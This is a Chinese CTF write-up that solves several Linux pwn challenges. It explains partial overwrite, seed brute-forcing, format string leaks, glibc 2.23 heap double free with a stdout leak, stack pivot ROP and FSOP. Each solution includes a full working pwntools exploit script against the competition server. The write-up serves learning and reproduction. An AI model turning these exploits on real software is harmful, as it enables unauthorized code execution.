注意
本文最后更新于 2024-02-12,文中内容可能已过时。
这次比赛作为新生赛,存在着一部分低难度的题目,同样也存在着利用技巧性较高的题目,更是有着最新glibc2.32堆题的内容,值得各位师傅尝试着去复现一下。
我复现了全部的LINUX PWN题,这里把复现过程中遇到的一些问题和知识点给大家呈现。
在此Writeup即将完工之际,官方wp恰好也发出了,但是有些细节还不够详细,我这里对一些官方没有提及到的一些细节做了解释,以及对常用的攻击IO方法做了总结,方便各位师傅学习与复现。
[签到] 送你一朵小红花
发现buf[2]处储存了程序函数指针,会调用执行。
但是由于程序存在PIE,所以无法完全覆盖程序内容来跳转执行,所以这里利用开启PIE后,程序指针后12位不变的特性,利用partial overwrite 来复写后两个字节
来覆盖到这个函数上,exp有1/16的成功率。
1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context . log_level = "debug"
while True :
try :
#r = process('./xhh')
r = remote ( 'node2.hackingfor.fun' , 32396 )
r . send ( ' \x00 ' * 0x10 + ' \xe1\x54 ' )
r . recvuntil ( "{" )
r . interactive ()
except :
pass
easystack
程序是静态编译的,并且去除了符号信息,所以我们在阅读起来的时候存在一些困难,通过调试可以发现
实际上程序就是以当前时间作为种子,然后通过rand函数获取随机数,并且与我们输入的内容做比对。
那么我们可以爆破出程序的种子,并且通过python中的cdll.LoadLibrary 来调用glibc库函数,提交后就可以得到flag。
1
2
3
4
5
6
7
8
9
10
11
12
13
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
def rnd ( n ):
elf . srand ( n )
return elf . rand ()
context . log_level = "debug"
#r = process('./easystack')
r = remote ( 'node2.hackingfor.fun' , 37699 )
elf = cdll . LoadLibrary ( '/lib/x86_64-linux-gnu/libc-2.23.so' )
t = elf . time ( 0 )
r . sendline ( p64 ( rnd ( t )))
r . interactive ()
scmt
生成随机数,并且与我们输入的内容做比对,程序存在格式化字符串漏洞,我们可以利用这个漏洞来泄露出生成的随机数,并且输入得到shell。
1
2
3
4
5
6
7
8
9
# -*- coding: utf-8 -*-
from pwn import *
#r = process('./scmt')
r = remote ( 'node2.hackingfor.fun' , 33601 )
r . sendlineafter ( 'name: \n ' , '%8$p' )
r . recvuntil ( '0x' )
num = int ( r . recvuntil ( ' \n ' , drop = True ), 16 )
r . sendlineafter ( 'number: \n ' , str ( num ))
r . interactive ()
sooooeasy
这是一道堆题,环境是在glibc2.23下。
存在free后没有清空的漏洞,可以利用这个来double free
没有show函数
只有Add和Delete,所以我们要考虑使用stdout来leak libc
我这里先介绍一下使用**IO_2_1_stdout leak的方法**
_IO_2_1_stdout_ leak
适用的题目类型
1.无show函数,也就是leak不了堆内容(如果有show函数,那么就可以利用unsorted bin leak)
2.FULL RELRO,也就是got表无法修改(如果可以修改,那么就可以修改free为puts来leak)
3.能够间接(修改size再free)或者直接(直接malloc)的free chunk到unsorted bin,从而在chunk上存在main_arena + 88的地址。
4.能够让3中在unsorted bin中的chunk同时也存在于fastbin中(修改size为0x71,再free),实现fastbin attck
5.能够UAF,部分写入数据到unsored bin->FD覆盖(main_arena + 88)的后两个字节(低地址),使其指向到stdout附近从而可以修改_flags等数据。
这一步中有一些细节需要处理:
a.部分覆盖的具体值由调试可知,因为要检测fastbin size是否在对应范围内,所以要在stdout之前找到一块可以伪造的地址。这个技巧类似于**__malloc_hook**的修改方法。
b.由于在libc中只有后12个位是固定的,所以我们需要爆破后两个字节中的前4个位,也就是我们有(1/16)的几率利用成功。
利用方法
1.设fp = IO_2_1_stdout
2.绕过一些会报错的检测
a.修改fp->flag = 0xfdab1800(_IO_MAGIC | _IO_IS_APPENDING | _IO_CURRENTLY_PUTTING)
b.输出过内容(_IO_CURRENTLY_PUTTING = 1)
3.修改fp->_IO_write_base = leak addr,一般写入单字节(0x58),这样输出的地址中会有很多libc的地址。
如果是用b的绕过方法,那么还需要让_IO_read_end == _IO_write_base
基本思路
1.先free一个堆块 0x71 进入到fastbin中
2.通过利用申请大堆块会调用malloc_consolidate ,这个会让fastbin中的内容进入到unsorted bin中
3.再free一次 0x71的堆块,此时由于之前free的堆块在unsorted bin上,所以不会触发double free
4.此时利用部分写入来写到stdout - 0x43的这个位置,这个位置可以错位,使得0x7F作为堆块的size,从而绕过fastbin申请过程中对堆块size的检测
5.利用上面所讲的思路来修改stdout,并且计算出**__malloc_hook的内容,填入合适的 one_gadget**
6.getshell
小技巧
从cnitlrt师傅那里学到的一个小技巧:本道题目是没有给出libc的,但是我们可以快速的构造出doube free,并且通过远程的报错信息来推测libc版本信息。
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
# libc = ELF('/glibc/x64/2.23/lib/libc.so.6')
libc = ELF ( './libc.so.6' )
def libcbase ():
infomap = os . popen ( "cat /proc/ {} /maps" . format ( r . pid )) . read ()
data = re . search ( ".*libc.*\.so" , infomap )
if data :
libcaddr = data . group () . split ( "-" )[ 0 ]
return int ( libcaddr , 16 )
else :
return 0
def choice ( idx ):
r . sendlineafter ( "Your choice : " , str ( idx ))
def add ( size , content = 'a' , message = 'wjh' ):
choice ( 1 )
r . sendlineafter ( "name: " , str ( size ))
r . sendafter ( "Your name:" , content )
r . sendlineafter ( "Your message:" , message )
def delete ( idx ):
choice ( 2 )
r . sendlineafter ( "index:" , str ( idx ))
def pwn ():
#stdout_addr = libcbase() + libc.sym['_IO_2_1_stdout_'] - 0x43
stdout_addr = libc . sym [ '_IO_2_1_stdout_' ] - 0x43
for i in range ( 2 ):
add ( 0x28 )
for i in range ( 2 ):
delete ( i )
add ( 0xE8 ) # 2
add ( 0x68 ) # 3
add ( 0x18 ) # 4
delete ( 2 )
delete ( 3 )
add ( 0x400 ) # 5
delete ( 3 )
add ( 0x88 ) # 6
delete ( 6 )
add ( 0x78 , 'a' * 0x58 + p64 ( 0x71 ) + p16 ( stdout_addr & 0xFFFF )) # 7
add ( 0x68 ) # 8
# 9
choice ( 1 )
r . sendlineafter ( "name: " , str ( 0x68 ))
r . sendafter ( "Your name:" , 'a' * 0x33 + p64 ( 0xfbad1800 ) + ' \x00 ' * 0x18 + ' \x58 ' )
stdout_addr = u64 ( r . recvuntil ( ' \x7f ' )[ - 6 :] . ljust ( 8 , ' \x00 ' )) - 131
r . sendlineafter ( "Your message:" , 'leak' )
log . success ( "stdout_addr: " + hex ( stdout_addr ))
libc . address = stdout_addr - libc . sym [ '_IO_2_1_stdout_' ]
add ( 0x68 ) # 10
delete ( 10 )
delete ( 8 )
delete ( 10 )
add ( 0x68 , p64 ( libc . sym [ '__malloc_hook' ] - 0x23 )) # 11
add ( 0x68 ) # 12
add ( 0x68 ) # 13
#one = [0x3f3e6, 0x3f43a, 0xd5c07]
one = [ 0x45226 , 0x4527a , 0xf0364 , 0xf1207 ]
add ( 0x68 , 'a' * 0x13 + p64 ( libc . address + one [ 2 ])) # 14
delete ( 1 )
delete ( 1 )
r . interactive ()
while True :
try :
# r = process('./sooooeasy')
r = remote ( 'node2.hackingfor.fun' , 34088 )
pwn ()
except :
pass
easypwn
这道题目花了很长的时间在调试上
题目给了7字节的格式化字符串漏洞,由于长度太短,实在是无法利用。
所以我这里考虑来修改在栈上存放的rbp地址,并且修改末位为\x00,这样有概率可以执行到我们的rop数据。
栈喷射
在布置rop的时候,放置一部分ret gadget,来扩大命中范围(当命中ret gadget的时候就会一直滑下去,直到命中我们的rop)
栈迁移
由于rop长度不够,所以我们需要尝试用read读取第二段rop,利用pop rsp这个gadget来进行栈迁移,来提高命中率。
并且在第一段rop操作的话,栈空间的信息不符合one_gadget的要求,而栈转移之后的bss段空间,内容都是为00,可以很好的符合one_gadget的要求
第二段ROP
首先我们先要放几个栈迁移头部的pop,用p64(0) * 3 填充即可
紧接着通过puts出got表的信息来泄露libc,然后程序通过计算出libc的基址和one_gadget,再通过read函数把one_gadget地址写到将要执行的栈空间上来getshell。
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
elf = ELF ( './easypwn' )
libc = ELF ( './libc.so.6' )
#context.log_level = "debug"
def libcbase ():
infomap = os . popen ( "cat /proc/ {} /maps" . format ( r . pid )) . read ()
data = re . search ( ".*libc.*\.so" , infomap )
if data :
libcaddr = data . group () . split ( "-" )[ 0 ]
return int ( libcaddr , 16 )
else :
return 0
def pwn ():
bss_addr = elf . bss () + 0x500
pop_rsi_r15_addr = 0x0000000000400be1
pop_rdi_addr = 0x0000000000400be3
main_addr = 0x0000000000400A9E
ret_addr = 0x0000000000400B7F
gadget_addr = 0x0000000000400AE3
pop_rsp_addr = 0x0000000000400bdd
payload = p64 ( ret_addr ) * 0x10 + p64 ( pop_rdi_addr ) + p64 ( 0 ) + p64 ( pop_rsi_r15_addr ) + p64 ( bss_addr ) + p64 ( 0 ) + p64 ( elf . plt [ 'read' ]) + p64 ( pop_rsp_addr ) + p64 ( bss_addr )
one = [ 0x4f3d5 , 0x4f432 , 0x10a41c ]
#gdb.attach(r, "b *0x0000000000400B7F")
r . sendafter ( "Please input your teamname: " , payload [ - 0x50 :])
r . sendafter ( "input your name" , '%22$hhn' )
r . sendafter ( 'input introduction' , payload [ - 0x38 :])
rop_data = p64 ( 0 ) * 3 + p64 ( pop_rdi_addr ) + p64 ( elf . got [ 'read' ]) + p64 ( elf . plt [ 'puts' ]) + p64 ( pop_rdi_addr ) + p64 ( 0 ) + p64 ( pop_rsi_r15_addr ) + p64 ( bss_addr + 0x60 ) + p64 ( 0 ) + p64 ( elf . plt [ 'read' ])
r . send ( rop_data )
libc_base = u64 ( r . recvuntil ( ' \x7f ' , timeout = 1 )[ - 6 :] . ljust ( 8 , ' \x00 ' )) - libc . sym [ 'read' ]
if libc_base <= 0 :
raise EOFError
one_gadget = libc_base + one [ 2 ]
r . send ( p64 ( one_gadget ))
r . interactive ()
while True :
try :
#r = process('./easypwn')
r = remote ( 'node2.hackingfor.fun' , 30811 )
pwn ()
except :
pass
superpowers
这是一个32位程序,允许一次的读取任意系统文件,和一次非常长的格式化字符串漏洞。
我们可以考虑利用**/proc/self/maps来读取libc基址,然后再使用格式化字符串漏洞来进行构造FSOP 。**
FSOP
我们需要利用的内容在于**_IO_flush_all_lockp中的以下这部分内容,当系统发生 abort 的时候,会利用 _IO_flush_all_lockp来看看各个 fp 指针中还有没有数据没有输出的,如果有,那么就会调用 _IO_OVERFLOW,**而在在程序结束的时候也会调用,所以我们这里可以构造来触发。
1
2
3
4
5
6
7
8
if ((( fp -> _mode <= 0 && fp -> _IO_write_ptr > fp -> _IO_write_base )
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| ( _IO_vtable_offset ( fp ) == 0
&& fp -> _mode > 0 && ( fp -> _wide_data -> _IO_write_ptr
> fp -> _wide_data -> _IO_write_base ))
#endif
)
&& _IO_OVERFLOW ( fp , EOF ) == EOF )
这部分代码在做:
通过_IO_all_list 获取到头指针,然后用 fp->_chain 来寻找下一个指针,直到 0 的时候停止。
所以,如果我们可以控制_IO_list_all,并且达成他要求的一些条件,那么我们就可以通过伪造 vtable 的_IO_OVERFLOW 位置(+0x18)的方式来 getshell。
所以我们可以构造下面两者中任意一个。
1.(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
2.(_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
一般来说1更容易构造一些,我这里用的是构造1
当判定条件成立,就会去vtable 表中执行**_IO_OVERFLOW**,执行了我们修改的函数。
顺带一提的是,当执行**_IO_OVERFLOW的时候,传入的第一个参数就是,这个 fp 的地址,所以说,如果我们可以修改这个伪造 fp 的头部位置为 /bin/sh**,并且伪造 vtable 中 _IO_overflow 位置为 system,那么就可以成功 getshell 了。
所以我们可以修改我们的可控位置,也就是 fp 的地址为想要执行的内容,但是一般来说直接修改头部位置,也就是_flags 的位置是不太好的,不过由于这里根本没有用到_flags,所以我们可以直接修改头部。
如果不可以修改_flags 的情况,那么就在他后面写一个;sh;,这样的话由于;的隔开,前面后面的语句都会认为是错误的,所以也成功执行了 sh。
这道题由于是32位的,所以偏移会与上面所说的有一些区别,可以在调试中挖掘。
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context . log_level = "debug"
context . arch = "i386"
libc = ELF ( 'libc.so' )
#r = process('./superpower')
r = remote ( 'node2.hackingfor.fun' , 30914 )
r . sendlineafter ( "filename:" , "/proc/self/maps" )
r . recvuntil ( '[heap] \n ' )
r . recvuntil ( '-' )
libc . address = int ( r . recvuntil ( 'rw-p' , drop = True ), 16 )
log . success ( "libc_base: " + hex ( libc . address ))
stdin_addr = libc . sym [ '_IO_2_1_stdin_' ]
data = {
stdin_addr : 'sh \x00 ' ,
stdin_addr + 0x14 : ' \xFF ' ,
stdin_addr + 0x30 : p32 ( libc . sym [ 'system' ]),
stdin_addr + 0x94 : p32 ( stdin_addr + 0x30 - 0xC )
}
payload = fmtstr_payload ( 27 , data )
#gdb.attach(r, "b *0x080487B8")
r . sendafter ( 'name?' , payload )
r . interactive ()
NULL_FXCK
这是一道非常好的题目,引入了glibc2.29以上版本(glibc2.32)的一种绕过check的方法,我决定详细具体的来讲解一番,所以由于篇幅问题就不放在这里讲解了。
之后会发一篇专门讲解glibc2.29以上版本off by null的不同情况应对方式 ,会以该题目作为核心例题来讲解。